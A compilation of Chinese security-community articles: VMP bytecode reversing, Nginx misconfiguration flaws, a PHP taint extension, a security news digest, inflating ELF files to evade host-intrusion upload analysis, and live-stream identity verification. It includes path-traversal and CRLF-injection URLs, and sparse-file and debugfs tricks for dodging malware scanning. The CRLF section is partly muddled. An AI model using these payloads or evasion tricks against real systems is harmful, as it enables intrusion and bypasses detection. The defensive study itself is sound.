## 五.VMP字节码还原为SMALI
> 1 标准dalvik指令反汇编过程
> 2 VMP指令反汇编过程
> 3 还原VMP所有指令需要什么?
> 4 没有opcode对照表时,如何展开还原?
### 1 标准dalvik指令反汇编过程
### 2 VMP指令反汇编过程
> 由于使用了已知明文条件作为切入点,
> 已知分析目标ZxWebViewActivity.onCreate()中,
> 必定会调用startTracing()方法,
> 即必定存在invoke-static {v0}, method[@00da6f](https://github.com/00da6f
> "@00da6f") // …startTracing
>
> 又通过上面的分析得知关键值81de出现在这条invoke-static中,
> 且充当操作数的角色,那么按照我们按照标准invoke-static反汇编规则进行解析,
> 就可以得到结论.
> VMP指令由标准指令基础上修改而来,有哪些异同?
### 3 还原VMP所有指令需要什么?
### 4 没有opcode对照表时如何展开还原?
> (1)接口猜测法
> (2)参数推导法
> (3)标准dalvik指令格式的信息利用
> (4)人肉逆向法(略)
**(1)接口猜测法**
> method相关的invoke系列指令,可以通过JNI执行情况猜测.
> Field相关的get set系列指令,也可以通过JNI执行情况猜测.
**(2)参数推导法**
> 方法调用前,会先准备参数,
> 通常是声明类型的指令,
> 可以很大程度缩小猜测的候选指令范围.
**(3)标准dalvik指令格式的信息利用**
> 由于vmp指令是由dalvik标准指令略微修改/变异而来,
> 只做了较小的改动,仍然保留了BIT位分布特征这样信息.
> 在做还原时,可以利用这些信息,一定程度缩小候选范围.
> <https://source.android.com/devices/tech/dalvik/instruction-formats>
> <https://source.android.com/devices/tech/dalvik/dalvik-> bytecode#instructions>
>
## 六.某VMP攻击面总结 && 启示
> 1 分析路径
> 2 攻击面总结 && 启示
### 1 分析路径
### 2 攻击面总结 && 启示
> (1) 被VMP的方法内部存在已知明文指令.
> (2) VMP的实现高度依赖JNI函数,通过HOOK拿到其调用信息,是非常有效的切入点与突破口.
> (3) codeitems的连续性,集中存储的特性,通过内存访问统计最终被发现.
> (4) vmp指令由标准dalvik指令基础上略改而来,整体仍然保留了很多可用信息,
> 对于一些内部逻辑比较简单的方法,可以以较小成本还原.
**(1) 被VMP的方法内部存在已知明文指令.**
**(2) VMP的实现高度依赖JNI函数,通过HOOK拿到其调用信息,是非常有效的切入点与突破口.**
**(3) codeitems的连续性,集中存储的特性,通过内存访问统计最终被发现.**
**(4)某vmp指令由标准dalvik指令基础上略改而来,整体仍然保留了很多可用信息**
## 七.深入VMP还原的一些问题
> 略
## 八.调试与工具总结
### 核心问题:
> 获取程序完整的执行&&数据信息 (trace).
### 目前公开的主流的获取trace的方案:
> 1 GDB调试
> 2 FridaStalker编译执行
> 3 脱机unicorn模拟执行
### 公开的主流的获取trace的方案的弊端和缺陷:
> 1 IDA / GDB:
> 速度极慢,且会遭遇反调试
>
> 2 FridaStalker
> 不支持arm指令的thumb模式,且BUG多,
> 遭遇vmp.so中的花指令时,基本无法正常使用.
>
> 3 PC上脱机unicorn模拟执行
> vmp.so中存在大量jni call和system
> call,需要手动实现它们,unicorn才能完成运行,过程繁琐,并且可能遭遇脱机unicorn检测.
### 基于以上问题的解决方案尝试:
> 实现原始APP进程环境 && 原始context中,
> 通过unicorn构造虚拟化CPU,
> 执行目标function,获得trace,
> 方案无已知检测和对抗手段,无脑过一切反调试.
>
### 基于trace进行离线分析:
> 1 trace形态可视化
> 文本 / json / 数据库 / EXCEL可视化表格 / 动态CFG图
>
> 2 基本的分析
> 地址含义解析 调用符号识别
>
> 3 程序分析
> 污点分析 相似性分析等..
## 团队信息
### Vulpecker Team
隶属于360公司信息安全部，致力于手机 APP
及IOT安全，同时专注于移动安全研究，团队定制了公司内部产品安全开发规范，在提高工作效率的同时也为开发者提供了便捷的安全测试平台。
同时团队高度活跃在谷歌、三星、华为等各大手机厂商的致谢名单中，挖掘的漏洞屡次获得CVE编号及致谢，在保证360产品安全的前提下，团队不断对外输出安全技术，为移动互联网安全贡献一份力量。
### 作者
<https://github.com/acbocai> | 社区文章 |
# Nginx配置不当可能导致的安全问题
Auther: Spark1e
目前很多网站使用了 **nginx** 或者 **tenginx** （淘宝基于Nginx研发的web服务器）来做反向代理和静态服务器，ningx的配置文件
**nginx.conf** 的一些错误配置可能引发一些安全问题。要了解这些问题，我们先简单了解一下Nginx的配置文件
## 0x00 Nginx的配置文件的格式
Nginx的主配置文件非常简短，是由一些模块构成的。在任何情况下Nginx都会加载其主配置文件。
一个主配置文件 **nginx.conf** 的结构如下：
... #全局块 -->main
events { #events块
...
}
http #http块
{
... #http全局块
server #server块
{
... #server全局块
location [PATTERN] #location块
{
...
}
location [PATTERN] #另一个location块
{
...
}
}
}
Nginx是分 **层级** 组织的，每个层级可以有自己的指令，并且子块会继承父块的配置，但是如果子块配置了与父块不同的指令，则会 **覆盖**
掉父块的配置。指令的格式是：
`指令名 参数1 参数2 参数3;`
也可以在配置文件中包含其他配置文件。如`include /etc/nginx/mime.types;`就包含了各种支持的Content-type.
一个 **server**
块表示一个host，可以在server块中添加或者更改nginx服务监听的端口、存放网页文件的位置、以及虚拟主机配置（开反向代理）
一个 **location** 块代表一个路由映射规则
## 0x01 反向代理配置不当导致的ssrf漏洞
Nginx经常拿来做 **反向代理服务器** 。反向代理服务器其实就是一台负责转发的代理服务器，实现了转发的作用，然后从真正的服务器获取数据并转发给客户端。
比如，我们让nginx监听一个端口（假设我们监听了80端口），然后我们通过配置反向代理转发给另一个应用端口或者服务器，由它来执行真正的请求。请求处理完成后数据会交给nginx，然后由nginx来返回给客户端。假如我们要将本机的80端口转发给`192.168.1.2`上的8080端口时，我们可以这样配置：
server {
listen 80;
server_name 192.168.1.2:8080;
location / {
proxy_pass http://192.168.1.2:8080；
}
#......
}
**SSRF** 漏洞通常出现在不正确的反向代理配置中
如果nginx.conf进行了如下配置
location /([a-zA-Z0-9.:%]+) {
proxy_pass http://$1；
}
此时url是可控的。如果攻击者修改url, 将其修改成内网IP即可导致 **SSRF** 漏洞
## 0x02 alias导致的目录遍历/目录穿越/部分文件下载漏洞
修改 **nginx.conf** 文件,在server块加入`autoindex on;`可以添加目录浏览功能，但是也会导致安全问题
server {
autoindex on;
...
}
即可达成目录遍历
在nginx做 **反向代理** 的时候，我们通常会把 _动态_ 部分传递给后方解析的服务器，由nginx来处理 _静态_ 文件
当使用 **alias** 来对文件路径进行配置时，有可能会造成目录穿越漏洞
假设配置文件中的配置如下：
location /files/ {
alias /etc/nginx/txtpath/;
}
正常用户访问`http://your_ip/files/1.txt`时，就可以读取`/etc/nginx/txtpath/1.txt`这个文件
但是如果配置错误，files后面没有`/`，如下
location /files {
alias /etc/nginx/txtpath/;
}
那么攻击者有可能读到目标文件夹之外的文件。
但是因为在`/files`后面没有`/`，当我们访问`http://your_ip/files../nginx.conf`，会返回`/etc/nginx/nginx.conf`
导致我们可以通过对目录进行爆破扫描等方法，获取到指定文件夹之外的文件
当我们能同时达成以上两个漏洞的条件时，我们就能够读取到部分文件。
当`alias`指定的文件目录足够上层（例如在/home,/usr等）时，我们就可以穿梭到根目录，读取到所有文件。因为配置错误而导致了
**任意文件读取漏洞**
## 0x03 uri导致的CRLF注入漏洞
当一个网站使用https协议的时候，很多站点会强制用户使用 _https_ 进行访问。当用户访问 _http_ 的时候会`302`跳转到https页面。
如果使用了 **\$uri** 来进行配置，可能会导致 **CRLF注入** 漏洞
location /302 {
return 302 https://$host$uri;
}
nginx中 **\$uri** 指的是请求的文件和路径，不会包含后面请求的数据（即?和#后面的数据）
nginx服务器会对$uri进行解码。当我们在传入的参数后面加入urlencode之后的换行符`%0d%0a`，我们就可以污染HTTP头的数据
例如，访问`http://your_ip/302/123`会 **302** 跳转到`https://your_ip/302/123`。这是正常的跳转。
但是由于配置文件里面使用的是 **$uri**
，会对我们传入的参数进行转码，当我们访问`http://your_ip/302/123%0d%0a%0d%0atest=1`时， **302**
跳转会指向`https://your_ip/302/123`并且 **POST** 一个参数 `test=1`
导致了 **CSRF** 注入漏洞
## 0x04 子块覆盖父块HTTP头
在nginx配置文件中子块是可以继承父块的配置的。但是当我们在父块中设置了`add_header`头，然后再在子块中设置另一个add_header头时，子块会覆盖掉父块中的add_header头的设置。
假如配置文件是这么设置的
server {
...
add_header X-Frame-Options DENY;
add_header Content-Security-Policy "default-src 'self'";
location = /safe {
return /xss.html;
}
location = /dangerous {
add_header X-Content-Type-Options nosniff;
return /xss.html;
}
}
其中`X-Frame-Options DENY`和`Content-Security-Policy "default-src
'self'"`是用来抵御一般的 **XSS** 攻击的。
当我们访问`http://your_ip/safe`时，因为我们设置了这两个文件头，所以并不会触发xss。
但是当我们访问`http://your_ip/dangerous`时，因为我们在子模块添加了`add_header X-Content-Type-Options nosniff`，父级的模块`add_header`的被子级的 **覆盖** 了，导致对xss的防御不再生效，成功触发xss。
## Reference
<http://nginx.org/en/docs/>
<https://www.leavesongs.com/PENETRATION/nginx-insecure-configuration.html> | 社区文章 |
这篇我讲继续学习污点标记以及标记打在何处,学习过程我会通过阅读`http://pecl.php.net/package/taint`的源码来详述实现原理和一些细节。
下一篇讲会对污点跟踪进行分析。
#### 污点标记
这里我们认为所有传入的数据都是不可信的,也就是说所有通过请求发送过来的数据都需要打上标记,被打上标记的数据是会传播的,比如说当进行字符串的拼接等操作在结束后要对新的数据从新标记,因为这个新的字符串仍然是不可信数据,但是经过一些处理函数,比如说`addslashes`这类函数,就可以将标记清除掉。
##### 标记点
首先我们需要知道怎么打标记,将标记打在何处
首先php7和php5的变量结构体是不一样的,因为结构体的不同,标记打在何处也就产生了区别
* php7
typedef union _zend_value {
zend_long lval; /* long value */
double dval; /* double value */
zend_refcounted *counted;
zend_string *str;
zend_array *arr;
zend_object *obj;
zend_resource *res;
zend_reference *ref;
zend_ast_ref *ast;
zval *zv;
void *ptr;
zend_class_entry *ce;
zend_function *func;
struct {
uint32_t w1;
uint32_t w2;
} ww;
} zend_value;
typedef struct _zend_refcounted_h {
uint32_t refcount; /* reference counter 32-bit */
union {
struct {
ZEND_ENDIAN_LOHI_3(
zend_uchar type,
zend_uchar flags, /* used for strings & objects */
uint16_t gc_info) /* keeps GC root number (or 0) and color */
} v;
uint32_t type_info;
} u;
} zend_refcounted_h;
在taint中,对于php7来说污染标记的原理是利用`zend_uchar
flags`变量回收结构中未被使用的标记为去做污染标记,如果随着版本的升级,这个位被使用后,那么就会产生冲突。
* php5
typedef union _zvalue_value {
long lval; /* long value */
double dval; /* double value */
struct {
char *val;
int len;
} str;
HashTable *ht; /* hash table value */
zend_object_value obj;
zend_ast *ast;
} zvalue_value;
struct _zval_struct {
/* Variable information */
zvalue_value value; /* value */
zend_uint refcount__gc;
zend_uchar type; /* active type */
zend_uchar is_ref__gc;
};
可以看到这个版本的字段并不多,没有方便我们做标记的位置。
看下taint中是如何实现的吧。
Z_STRVAL_PP(ppzval) = erealloc(Z_STRVAL_PP(ppzval), Z_STRLEN_PP(ppzval) + 1 + PHP_TAINT_MAGIC_LENGTH);
PHP_TAINT_MARK(*ppzval, PHP_TAINT_MAGIC_POSSIBLE);
看的宏的定义
#define PHP_TAINT_MAGIC_NONE 0x00000000
#define PHP_TAINT_MAGIC_POSSIBLE 0x6A8FCE84
#define PHP_TAINT_MAGIC_UNTAINT 0x2C5E7F2D
#define PHP_TAINT_MARK(zv, mark) *((unsigned *)(Z_STRVAL_P(zv) + Z_STRLEN_P(zv) + 1)) = (mark)
#define PHP_TAINT_POSSIBLE(zv) (*(unsigned *)(Z_STRVAL_P(zv) + Z_STRLEN_P(zv) + 1) == PHP_TAINT_MAGIC_POSSIBLE)
#define PHP_TAINT_UNTAINT(zv) (*(unsigned *)(Z_STRVAL_P(zv) + Z_STRLEN_P(zv) + 1) == PHP_TAINT_MAGIC_UNTAINT)
可能这样看不是很直观,直接看图
既然这样,那么当想要消除标记的时候直接再将
#define PHP_TAINT_MAGIC_NONE 0x00000000
打上即可。
##### http请求
上面我们认为所有的请求都是不可信的,再没有经过安全函数时都要打上标记,接下来看下获取http请求参数以及给参数打上标记。
获取http请求参数,看鸟哥的文章`http://www.laruence.com/2008/04/04/17.html`
#define TRACK_VARS_POST 0
#define TRACK_VARS_GET 1
#define TRACK_VARS_COOKIE 2
#define TRACK_VARS_SERVER 3
#define TRACK_VARS_ENV 4
#define TRACK_VARS_FILES 5
#define TRACK_VARS_REQUEST 6
鸟哥问中提到`根据测试的结果，可以认定PG(http_globals)[TRACK_VARS_GET]是一个hash table;`
我们先利用一下代码获取一下请求参数看一下,这里为了简单分析,直接修改上篇文章HOOK_INCLUDE_OR_EVAL来分析
HashTable *ht;
zval *arr;
arr = PG(http_globals)[TRACK_VARS_GET];
ht = HASH_OF(arr);
可以看到是可以直接从这个hashtable里面获取到我们的参数的
可以利用相关的宏方便获取的,在zend_hash.h里面可以找到相关的宏
将hashtable中的数据全都遍历出来
static int HOOK_INCLUDE_OR_EVAL(ZEND_OPCODE_HANDLER_ARGS)
{
ulong num_index;
char *str_index;
zval **data;
HashTable *ht;
zval *arr;
char *data;
char *key;
arr = PG(http_globals)[TRACK_VARS_GET];
ht = HASH_OF(arr);
for (zend_hash_internal_pointer_reset(ht);
zend_hash_has_more_elements(ht) == SUCCESS;
zend_hash_move_forward(ht))
{
zend_hash_get_current_key(ht, &str_index, &num_index, 0);
zend_hash_get_current_data(ht, (void**)&data);
key = Z_STRVAL_PP(data);
}
return ZEND_USER_OPCODE_DISPATCH;
}
这几个函数的作用其实命名已经很明确了,但是还是想看一下,拿`zend_hash_get_current_key`来说
我们打个断点`break zend_hash_get_current_key_ex`
我们来看一下
正如上面所说,跟命名是一样的,`str_index`将返回我们想要得到的key
将其打印出来
##### 打标记
我们重新创建一个扩展,完成基本定义
#define PHP_TAINT_MAGIC_LENGTH sizeof(unsigned)
#define PHP_TAINT_MAGIC_NONE 0x00000000
#define PHP_TAINT_MAGIC_POSSIBLE 0x6A8FCE84
#define PHP_TAINT_MAGIC_UNTAINT 0x2C5E7F2D
PHP_FUNCTION(confirm_foobar_compiled);
#define ZEND_OPCODE_HANDLER_ARGS zend_execute_data *execute_data
#define PHP_TAINT_MARK(zv, mark) *((unsigned *)(Z_STRVAL_P(zv) + Z_STRLEN_P(zv) + 1)) = (mark)
#define PHP_TAINT_POSSIBLE(zv) (*(unsigned *)(Z_STRVAL_P(zv) + Z_STRLEN_P(zv) + 1) == PHP_TAINT_MAGIC_POSSIBLE)
#define PHP_TAINT_UNTAINT(zv) (*(unsigned *)(Z_STRVAL_P(zv) + Z_STRLEN_P(zv) + 1) == PHP_TAINT_MAGIC_UNTAINT)
我们在请求初始化时,也就是`PHP_RINIT_FUNCTION`里面进行调用
PHP_RINIT_FUNCTION(ptaint)
{
if(PG(http_globals)[TRACK_VARS_GET] && zend_hash_num_elements(Z_ARRVAL_P(PG(http_globals)[TRACK_VARS_GET]))) {
php_taint_mark_arr(PG(http_globals)[TRACK_VARS_GET] TSRMLS_CC);
}
return SUCCESS;
}
然后递归对数组进行标记
static void php_taint_mark_arr(zval *symbol_table TSRMLS_DC)
{
zval **data;
HashTable *ht = Z_ARRVAL_P(symbol_table);
for (zend_hash_internal_pointer_reset(ht);
zend_hash_has_more_elements(ht) == SUCCESS;
zend_hash_move_forward(ht))
{
if(zend_hash_get_current_data(ht, (void**)&data) == FAILURE)
continue;
if(Z_TYPE_PP(data) == IS_ARRAY)
{
php_taint_mark_arr(*data TSRMLS_CC);
}else if(Z_TYPE_PP(data) == IS_STRING){
Z_STRVAL_PP(data) = erealloc(Z_STRVAL_PP(data), Z_STRLEN_PP(data) + 1 + PHP_TAINT_MAGIC_LENGTH);
PHP_TAINT_MARK(*data, PHP_TAINT_MAGIC_POSSIBLE);
}
}
}
看下效果
参考：
http://www.laruence.com/2009/04/28/719.html
https://www.jianshu.com/p/c6dea66c54f3
https://www.cnblogs.com/iamstudy/articles/php_code_rasp_2.html | 社区文章 |
# 4月12日安全热点 - Holey Beep: Linux 提权漏洞分析与利用
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
360-CERT 每日安全简讯 2018.04.12 周四
## 【Security Incident|安全事件】
1.从中国检测到类似Mirai的针对巴西的扫描活动
<http://t.cn/RmXTAoq>
## 【Malware|恶意软件】
1.多个网站平台被注入重定向URL代码进行“FakeUpdates”攻击
<http://t.cn/RmXd1K5>
## 【Vulnerability|漏洞】
1.Spring CVE-2018-1273,CVE-2018-1274和CVE-2018-1275漏洞预警
<http://t.cn/RmXXDfm>
2.Holey Beep: Linux 提权漏洞分析与利用(CVE-2018-0492)
<http://t.cn/Rma6cpk>
3.深圳TVT数码科技有限公司产品固件存在多个漏洞，可导致RCE
<http://t.cn/Rma6cOq>
4.Computerinsel PhotoLine PSD多个代码执行漏洞
<http://t.cn/Rma6cWZ>
## 【Security Report|安全报告】
1.AMD关于缓解Spectre v2问题的技术白皮书
<http://t.cn/Rma6cW1>
2.2017金融科技安全分析报告
[http://t.cn/RSyjjqZ](https://mp.weixin.qq.com/s?__biz=MzIyNjkzOTMzMA==&mid=2247484413&idx=1&sn=38cae77e1f0a904f6a6669b2134fc752)
## 【Security Information|安全资讯】
1.扎克伯格｜在美国国会”数据门”听证会上的证词-中英文全文
<http://t.cn/R6SMuqU>
2.AMD和微软发布针对Spectre漏洞的微代码和系统更新
<http://t.cn/RmaLXJf>
3.浅谈企业虚拟化环境的安全风险与渗透测试方法
<http://mp.weixin.qq.com/s/DE-zRo6r1VSd87OM1Ma_2g>
4.Apple3月29日更新涉及CVE内容一览表
<http://t.cn/Rma6cY3>
5.勒索病毒搞恶作剧：要解密先玩“吃鸡”游戏再说，实际中招玩家不多
<http://t.cn/RmIEWX1>
6.思科交换机Smart Install Client高危漏洞正在被大范围利用
<http://t.cn/RmaeI8y>
## 【Security Research|安全研究】
1.通过修改主机安全描述符实现远程提取机器上的本地用户哈希
<http://t.cn/Rma6YpS>
2.使用Microsoft Outlook和OLE自动窃取密码哈希
<http://t.cn/Rma6cHF>
3.用IDA中的Hex-Rays API解决特定问题
<http://t.cn/RmipBjs>
4.Windows内核调试简介
<http://t.cn/RmaeI8s>
5.通过MANGER’S ATTACK来破坏RSA OAEP
<http://t.cn/Rm6PEbB>
6.使用COOP技术开发旧漏洞，来绕过CFI检测
<http://t.cn/RmaeIEv>
【以上信息整理于 <https://cert.360.cn/daily> 】 | 社区文章 |
**作者:leveryd
原文链接：<https://mp.weixin.qq.com/s/WQeOfZtyKndbDebe66-V_g>**
# 背景
了解hids的读者应该知道hids agent会有上报很多信息，其中有的agent会将可疑文件上报到云端做恶意分析。
同事问我一个问题：文件如果特别大，也会被上报吗？不会影响性能吗？
这个问题让我联想到
[你的扫描器可以绕过防火墙么（三）](https://mp.weixin.qq.com/s/qAv2wspeuCfhCjTaz03hNg)
中大包绕过waf的场景，接着很容易想到：如果agent碰到大文件就不上传了，不就很容易绕过云端的恶意分析了嘛。
另外，一个恶意文件如果体积过大，可能对安全研究人员做"样本分析"造成一些困难，比如无法将文件下载到本地电脑（网速、磁盘空间可能不够）、ida等静态分析软件内存占用过大。
基于以上"安全攻防"的业务场景，加上我最近在学习一些操作系统相关的知识，所以就研究下"怎么让elf文件变大"。
文件变大的同时，还要满足以下条件： _不影响elf文件执行_
从实用角度来说，攻击队也不会生成一个大文件，然后上传到目标。最好是上传一个小文件，上传到目标机器，然后本地让文件变大。
先说结论，有以下方式让"文件大小"变大： _文件末尾追加数据_ 稀疏文件 _修改inode元数据_ 向elf文件节中填充垃圾数据
说明一下测试环境：测试程序是id命令，复制到了/tmp/y目录下
[root@instance-fj5pftdp y]# \cp /usr/bin/id /tmp/y
# 文件末尾追加数据
怎么实现？ 这种方式实现很简单，如下
[root@instance-fj5pftdp y]# echo 1111 >> ./id
[root@instance-fj5pftdp y]# ./id
uid=0(root) gid=0(root) 组=0(root)
关键是这样修改后的文件，还能正常执行。
# 稀疏文件
"稀疏文件"是什么？
"稀疏文件"的"文件大小"和实际占用磁盘空间是不一致的，比如:
[root@instance-fj5pftdp y]# ll -h id
-rwxr-xr-x 1 root root 10T 9月 6 20:03 id
[root@instance-fj5pftdp y]# du -sh id
40K id
从上面命令可以看到："文件大小"是10T，但实际数据只占用40K的磁盘大小。
对于原理感兴趣的读者，可以参考 [深度剖析 Linux cp
的秘密](https://mp.weixin.qq.com/s/bLiqURdK_dtgr0GqU7yD9w) 这篇文章。
怎么修改成"稀疏文件"？
可以利用fallocate、truncate命令。
使用起来也很简单，以truncate举例：
[root@instance-fj5pftdp y]# ls -alh id
-rwxr-xr-x 1 root root 37K 9月 5 20:18 id
[root@instance-fj5pftdp y]# time truncate -s 10T id // 将id程序稀疏成10T大小
real 0m0.007s
user 0m0.000s
sys 0m0.007s
[root@instance-fj5pftdp y]# ls -alh id
-rwxr-xr-x 1 root root 10T 9月 5 20:02 id // 文件大小已经变成10T
[root@instance-fj5pftdp y]# ./id
uid=0(root) gid=0(root) 组=0(root)
这种方式修改文件有两个特点：
> 文件改动非常快，上面的例子中将id文件大小扩大到"10T"只用了1s不到
>
> 文件大小最大可以是10T以上，但不需要本地磁盘空间真的有10T
当你想下载或者读这个文件(比如`cat`)时，却是会有实实在在的`10T`流量。10T流量，按照"10M/s"的速度下载，也需要下载291个小时。
# 修改inode元数据
* 为什么修改"inode元数据"就可以修改文件大小信息？
inode元数据包含了文件大小信息，而inode元数据也是存储在磁盘扇区中的，所以应该可以通过修改inode元数据来"伪造"文件大小。
其实不光大小信息，inode元数据中还包括 文件是否删除、创建时间、修改时间、访问时间 等信息，所以这些都可以被伪造。
可以通过stat命令查看inode元数据：
[root@instance-fj5pftdp y]# stat id
文件："id"
大小：37400 块：80 IO 块：4096 普通文件
设备：fd01h/64769d Inode：171252 硬链接：1
权限：(0755/-rwxr-xr-x) Uid：( 0/ root) Gid：( 0/ root)
最近访问：2021-09-06 20:27:26.224913458 +0800
最近更改：2021-09-06 20:27:26.218913032 +0800
最近改动：2021-09-06 20:27:26.224913458 +0800
创建时间：-
* 怎么修改"inode元数据"？
利用debugfs命令，如下：
[root@instance-fj5pftdp ~]# debugfs -w /dev/vda1
debugfs: mi /tmp/y/id
Mode [0100755]
User ID [0]
Group ID [0]
Size [37400] 100000 // 这里修改文件大小为100000
Creation time [1630929039]
...
debugfs: quit
[root@instance-fj5pftdp ~]# ll /tmp/y/id
-rwxr-xr-x 1 root root 37400 9月 6 19:50 /tmp/y/id
[root@instance-fj5pftdp ~]# echo 3 > /proc/sys/vm/drop_caches // 清理inode缓存后，修改才生效
[root@instance-fj5pftdp ~]# ll /tmp/y/id
-rwxr-xr-x 1 root root 100000 9月 6 19:50 /tmp/y/id // 文件大小变成了100000
[root@instance-fj5pftdp ~]# /tmp/y/id
uid=0(root) gid=0(root) 组=0(root)
在测试过程中，需要读者注意的是：
> 因为会对磁盘数据做写操作，所以最好找一个没数据的机器做测试
>
> 记得清理inode缓存
>
> 测试时如果使用文件当作设备，在挂载文件系统时去修改文件大小 会不生效。原因未知
# 向elf文件节中添加垃圾数据
* 是什么？
elf文件中包含很多的 _节_ ，比如：
> .text存放代码
>
> .data存放初始化的全局变量和静态变量
关于elf的文件格式，更多信息可以参考 《程序员的自我修养—链接、装载与库》第三章 elf文件结构描述。
可以向elf的节（比如.data、.text、.bss等）中写入垃圾数据，而不影响程序的正常运行。
这种方式和其他三种方式的区别在于：因为可以删掉没用的节，所以就很容易就把"其他三种方式"修改的elf给还原回来。
比如strip后，文件大小就还原了
[root@instance-fj5pftdp y]# ll -h id
-rwxr-xr-x 1 root root 10T 9月 6 20:03 id
[root@instance-fj5pftdp y]# strip id
[root@instance-fj5pftdp y]# ll -h id
-rwxr-xr-x 1 root root 37K 9月 6 20:27 id
* 怎么"向elf文件节中添加垃圾数据"？
没有找到linux自带的命令，找到 [patch elf工具-patchkit](https://firmianay.gitbook.io/ctf-all-in-one/3_topics/reverse/3.2.1_patch_binary#patchkit)。
看文档感觉有点麻烦，就没有做测试了。
# 总结
"文件末尾追加数据"和"向elf文件节中填充垃圾数据"这两种方式是真的修改了文件内容，所以受限于磁盘空间大小也不可能生成几个T大小的文件。
"稀疏文件"这种方式，可以方便快速地生成几个T大小的文件，并且让上传、下载此文件 耗费很多时间，甚至是不可能成功。
"修改inode元数据"，虽然也可以快速地将文件大小修改为几个T，但是并不会让上传、下载此文件 耗费很多时间，传输的文件大小还是实际大小。
如果应急时碰到超大的elf文件，就先用strip看看体积会不会变小。
本文提到的手段没有在真实的对抗中实践过，仅仅是我自己的研究，欢迎有对抗经验的读者与我交流。
* * * | 社区文章 |
# **阿里巴巴直播防控中的实人认证技术**
直播作为近来新兴的互动形态，已经成为近几年最风生水起的行业之一。在2016年仿佛进入了“千团大战”的繁华。欢聚时代10亿砸向虎牙和ME直播，斥资1亿签下主播MISS；腾讯4亿投资斗鱼，后者估值10亿美元；新成立的映客获得昆仑万维、复赛等机构的8000万人民币投资；易直播获得6000万人民币A轮融资；360推出花椒、秒拍推出一直播....网络直播正享受其最好的时光，直播"风口"成投资方必争之地。
然而网络直播也因为走的太快，而失去了出发的初心，主播行为、直播内容变得不可控，低俗、大尺度、无下限成为“劲爆”栏目。针对网络直播的种种怪相，12月1日，由国家网信办发布的，媒体认为“史上最严”的《互联网直播服务管理规定》正式开始施行。《规定》要求直播平台按照“后台实名、前台自愿”的原则，对用户进行移动电话号码等真实身份信息认证。而对于网络主播们，《规定》更要求通过审核身份证件等更为严格的方式进行认证登记。
**而这些网络直播在进行实人认证时，需要对包括姓名、证件号、生物属性、手机和位置等要素进行识别，如何在提高用户体验的同时准确的判断账号背后真实的人，也是目前困扰着各大公司的一大难题。目前阿里聚安全实人认证中使用的技术能够大大提供自动化认证率和审核效率。**
# **主播实人认证**
主播的实人认证，基于自主研发的证件OCR、人脸识别等实现了88%以上的自动化认证率，并且采用云（3D、翻拍检测等）+端（交互动作等）相结合的活体检测技术来防御虚假认证的风险攻击，以确认主播的真实身份，降低违法风险。
对主播进行了严格的实人认证：做到人证合一，即根据认证过的账号身份信息，能准确找到对应的真实的自然人。
↑ 实人认证系统示意图
其中涉及的智能技术很多，介绍其中两项。
## **1、身份证OCR**
身份证OCR是把身份证图像中的文字识别为计算机能认识的文本，自动与公安网等权威数据库比对，验证姓名、号码等信息的真伪。
基于自由拍摄证件图像，流程见下图。为保证识别率和速度，同时融合了传统算法和深度学习算法。
↑ 身份证信息检测流程图
OCR算法对“姓名”字段的识别准确率达98%以上，对“身份证号码”和“有效期”达99.5%。 系统具有很强鲁棒性，以下case都可以轻松识别。
↑ OCR可以识别的身份证举例
## **2、生物特征识别**
只介绍人脸识别和人脸活体检测。
人脸识别在学术界已超肉眼的识别水平，但能在实际中的大规模应用还比较少，原因是实际场景复杂和数据缺乏。挑战来自光照、姿态、翻拍、化妆、衰老以及低照片质量。
我们对用户真人人像、身份证照、权威数据库的头像进行两两比对，以验证身份的真实性。算法能在0.1%的认假率下，使得合法用户自动通过率达93%以上。
人脸识别包括图像获取、人脸检测、活体检测、关键点定位、特征提取、识别引擎等模块。
↑ 人脸识别系统
### **2.1 人脸检测**
采用Boosting+RCNN框架。
↑ 人脸检测结果图
### **2.2 活体检测**
活体检测是为了确保待认证的用户是“活人”，而不是事先拍好或翻拍的人脸照片、视频，防止虚假认证，降低主播的违法风险。
↑ 活体检测实例图
活体检测模块包括：
**人脸检测**
检测是否出现人脸，且不能是多张脸， 防止不同的人切换或人与照片的切换。
**3D检测**
验证是否为立体人像，防止平面的照片或视频攻击。
↑ 3D检测示意图
**活体算法检测**
验证用户的操作是否正常，指定用户做随机动作（凝视、摇头、点头、眨眼、上下移动手机等）。
**连续性检测**
防止中途切换人。
**翻拍检测**
利用深度学习技术， 区分获取的人像是否为对屏幕、照片的翻拍。
### **2.3 人脸关键点定位**
定位出眉毛、眼睛、鼻子、嘴巴等位置。主流方法有：基于参数模型的方法；基于回归的方法；基于深度学习的方法。
我们采用基于特征的回归方式+深度学习的方法，来训练关键点定位模型。
↑ 人脸关键点检测示意图(图片素材来源网络)
### **2.4 特征提取**
↑ Maxout结构示意图
我们同时采用了传统人脸特征（WLD,
HOG，LBP，Gabor等）和基于深度学习（基于VGG、GoogleNet、Maxout三者的融合网络）的特征进行人脸识别。
### **2.5 识别引擎**
传统人脸特征，我们采用SVM进行pairwise距离度量；DL人脸特征，对已经学习的分类模型进行微调。
实人认证自动化是基于人脸、OCR的识别结果，基于大数据，综合利用用户的行为特征，进行多维度信息融合，最后得到综合决策模型，实现自动决策的过程。而在目前互联网发展的多种业务中，实人认证技术的应用场景纷繁复杂，对技术指标的要求也不尽相同，阿里聚安全提供的实人认证技术以生物识别、无线安全技术为支撑，保障实人认证有效性。
目前，阿里巴巴人脸识别技术已在实际场景中大规模应用，实战中相关性能指标在FPR（False Positive Rate）0.1%情况下，TPR（True
Positive
Rate）达96％，识别准确率远远超过人体肉眼识别。阿里聚安全实人认证技术更以实时大数据风险管理为核心，可实时判断每一个用户的认证动机，对不同风险等级的用户采取不同的认证方式，保障正常用户能够方便、快捷的提交资料，而风险用户无法简单的通过盗用他人信息通过认证，确保认证的真实性。
**前文回顾：[阿里巴巴直播内容风险防控中的AI力量](http://jaq.alibaba.com/community/art/show?spm=a313e.7916642.220000NaN1.3.ZVKNQH&articleid=702)**
#### 作者：威视@阿里安全部，更多阿里的安全技术文章，请访问
**[阿里聚安全博客](http://jaq.alibaba.com/community/index.htm?spm=a313e.7768735.1000000.6.anj7zJ)** | 社区文章 |
Burp
Suite是一个很强大的Web应用程序渗透测试集成平台。从应用程序攻击表面的最初映射和分析，到寻找和利用安全漏洞等过程，所有工具为支持整体测试程序而无缝地在一起工作。
平台中所有工具共享同一robust框架，以便统一处理HTTP请求、持久性、认证、上游代{过}{滤}理、日志记录、报警和可扩展性。Burp
Suite允许攻击者结合手工和自动技术去枚举、分析、攻击Web应用程序。
Burp Suite的重要特性
